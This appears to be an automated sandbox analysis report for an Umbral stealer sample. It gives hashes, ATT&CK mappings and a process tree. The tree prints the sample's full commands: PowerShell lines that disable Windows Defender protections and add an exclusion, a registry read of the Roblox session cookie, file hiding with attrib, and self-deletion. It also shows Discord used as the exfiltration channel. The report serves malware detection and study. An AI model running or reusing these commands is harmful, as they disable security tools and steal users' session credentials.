umbral | 44806f5e8beab048f45916e5723a475bd20f2684929ec4cc92b1096168a4e32f

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-09-2024 00:29

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General

Target

test.exe
Size

360KB
MD5

d16b4139ed4406bce80daf7f64ea7f76
SHA1

d1380cc067fe320dc16e43ac31208e2ce0d7fd5c
SHA256

44806f5e8beab048f45916e5723a475bd20f2684929ec4cc92b1096168a4e32f
SHA512

cee8211366528d5c5bb821a2c6c53f445b43659e43734ce9cb16a368dcd2d28d5e909c5e489482625ef73daa7b387d939829089c69961b3291a7e741b29a0fa6
SSDEEP

6144:1loZM+rIkd8g+EtXHkv/iD4p9d0mkrHMp9YW3X2B0b8e1mLieq:XoZtL+EP8p9d0mkrHMp9YW3X2iVeq

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2552-1-0x0000000000D70000-0x0000000000DD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
1416	powershell.exe
2608	powershell.exe
1316	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	test.exe

Deletes itself 1 IoCs

pid	Process
2188	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2164	PING.EXE
2188	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3036	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2164	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2552	test.exe
2764	powershell.exe
1416	powershell.exe
2608	powershell.exe
1452	powershell.exe
1316	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	test.exe
Token: SeIncreaseQuotaPrivilege	1704	wmic.exe
Token: SeSecurityPrivilege	1704	wmic.exe
Token: SeTakeOwnershipPrivilege	1704	wmic.exe
Token: SeLoadDriverPrivilege	1704	wmic.exe
Token: SeSystemProfilePrivilege	1704	wmic.exe
Token: SeSystemtimePrivilege	1704	wmic.exe
Token: SeProfSingleProcessPrivilege	1704	wmic.exe
Token: SeIncBasePriorityPrivilege	1704	wmic.exe
Token: SeCreatePagefilePrivilege	1704	wmic.exe
Token: SeBackupPrivilege	1704	wmic.exe
Token: SeRestorePrivilege	1704	wmic.exe
Token: SeShutdownPrivilege	1704	wmic.exe
Token: SeDebugPrivilege	1704	wmic.exe
Token: SeSystemEnvironmentPrivilege	1704	wmic.exe
Token: SeRemoteShutdownPrivilege	1704	wmic.exe
Token: SeUndockPrivilege	1704	wmic.exe
Token: SeManageVolumePrivilege	1704	wmic.exe
Token: 33	1704	wmic.exe
Token: 34	1704	wmic.exe
Token: 35	1704	wmic.exe
Token: SeIncreaseQuotaPrivilege	1704	wmic.exe
Token: SeSecurityPrivilege	1704	wmic.exe
Token: SeTakeOwnershipPrivilege	1704	wmic.exe
Token: SeLoadDriverPrivilege	1704	wmic.exe
Token: SeSystemProfilePrivilege	1704	wmic.exe
Token: SeSystemtimePrivilege	1704	wmic.exe
Token: SeProfSingleProcessPrivilege	1704	wmic.exe
Token: SeIncBasePriorityPrivilege	1704	wmic.exe
Token: SeCreatePagefilePrivilege	1704	wmic.exe
Token: SeBackupPrivilege	1704	wmic.exe
Token: SeRestorePrivilege	1704	wmic.exe
Token: SeShutdownPrivilege	1704	wmic.exe
Token: SeDebugPrivilege	1704	wmic.exe
Token: SeSystemEnvironmentPrivilege	1704	wmic.exe
Token: SeRemoteShutdownPrivilege	1704	wmic.exe
Token: SeUndockPrivilege	1704	wmic.exe
Token: SeManageVolumePrivilege	1704	wmic.exe
Token: 33	1704	wmic.exe
Token: 34	1704	wmic.exe
Token: 35	1704	wmic.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	wmic.exe
Token: SeSecurityPrivilege	1668	wmic.exe
Token: SeTakeOwnershipPrivilege	1668	wmic.exe
Token: SeLoadDriverPrivilege	1668	wmic.exe
Token: SeSystemProfilePrivilege	1668	wmic.exe
Token: SeSystemtimePrivilege	1668	wmic.exe
Token: SeProfSingleProcessPrivilege	1668	wmic.exe
Token: SeIncBasePriorityPrivilege	1668	wmic.exe
Token: SeCreatePagefilePrivilege	1668	wmic.exe
Token: SeBackupPrivilege	1668	wmic.exe
Token: SeRestorePrivilege	1668	wmic.exe
Token: SeShutdownPrivilege	1668	wmic.exe
Token: SeDebugPrivilege	1668	wmic.exe
Token: SeSystemEnvironmentPrivilege	1668	wmic.exe
Token: SeRemoteShutdownPrivilege	1668	wmic.exe
Token: SeUndockPrivilege	1668	wmic.exe
Token: SeManageVolumePrivilege	1668	wmic.exe
Token: 33	1668	wmic.exe
Token: 34	1668	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 1704	2552	test.exe	31
PID 2552 wrote to memory of 1704	2552	test.exe	31
PID 2552 wrote to memory of 1704	2552	test.exe	31
PID 2552 wrote to memory of 2756	2552	test.exe	34
PID 2552 wrote to memory of 2756	2552	test.exe	34
PID 2552 wrote to memory of 2756	2552	test.exe	34
PID 2552 wrote to memory of 2764	2552	test.exe	36
PID 2552 wrote to memory of 2764	2552	test.exe	36
PID 2552 wrote to memory of 2764	2552	test.exe	36
PID 2552 wrote to memory of 1416	2552	test.exe	38
PID 2552 wrote to memory of 1416	2552	test.exe	38
PID 2552 wrote to memory of 1416	2552	test.exe	38
PID 2552 wrote to memory of 2608	2552	test.exe	40
PID 2552 wrote to memory of 2608	2552	test.exe	40
PID 2552 wrote to memory of 2608	2552	test.exe	40
PID 2552 wrote to memory of 1452	2552	test.exe	42
PID 2552 wrote to memory of 1452	2552	test.exe	42
PID 2552 wrote to memory of 1452	2552	test.exe	42
PID 2552 wrote to memory of 1668	2552	test.exe	44
PID 2552 wrote to memory of 1668	2552	test.exe	44
PID 2552 wrote to memory of 1668	2552	test.exe	44
PID 2552 wrote to memory of 1916	2552	test.exe	46
PID 2552 wrote to memory of 1916	2552	test.exe	46
PID 2552 wrote to memory of 1916	2552	test.exe	46
PID 2552 wrote to memory of 2928	2552	test.exe	48
PID 2552 wrote to memory of 2928	2552	test.exe	48
PID 2552 wrote to memory of 2928	2552	test.exe	48
PID 2552 wrote to memory of 1316	2552	test.exe	50
PID 2552 wrote to memory of 1316	2552	test.exe	50
PID 2552 wrote to memory of 1316	2552	test.exe	50
PID 2552 wrote to memory of 3036	2552	test.exe	52
PID 2552 wrote to memory of 3036	2552	test.exe	52
PID 2552 wrote to memory of 3036	2552	test.exe	52
PID 2552 wrote to memory of 2188	2552	test.exe	54
PID 2552 wrote to memory of 2188	2552	test.exe	54
PID 2552 wrote to memory of 2188	2552	test.exe	54
PID 2188 wrote to memory of 2164	2188	cmd.exe	56
PID 2188 wrote to memory of 2164	2188	cmd.exe	56
PID 2188 wrote to memory of 2164	2188	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2756	attrib.exe

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1704
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\test.exe"
  2⤵
  - Views/modifies file attributes
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\test.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1916
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1316
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3036
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\test.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2164

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
836b8da60fe9827c6e87591a710f0c2a

SHA1
7989b1baeb4008a520c965f87eab2331cd5ddb93

SHA256
d028ef0878a69ffdbdeaa6236c008df875d466b25f7545fe2a97b6ca6ff2aafa

SHA512
a3abb9e9b2d6df08f6e6a528b9b8e0cb7692f02cb87b8ee25f365e52d57459a22fbbc45e53b3d81a5683f40a4050e5b7ede07126a713a0181a87f2641c6444b4

Download Submit
memory/1316-43-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/1416-14-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/1416-15-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2552-0-0x000007FEF6313000-0x000007FEF6314000-memory.dmp

Filesize
4KB

Download
memory/2552-1-0x0000000000D70000-0x0000000000DD0000-memory.dmp

Filesize
384KB

Download
memory/2552-2-0x000007FEF6310000-0x000007FEF6CFC000-memory.dmp

Filesize
9.9MB

Download
memory/2552-47-0x000007FEF6310000-0x000007FEF6CFC000-memory.dmp

Filesize
9.9MB

Download
memory/2764-7-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2764-8-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download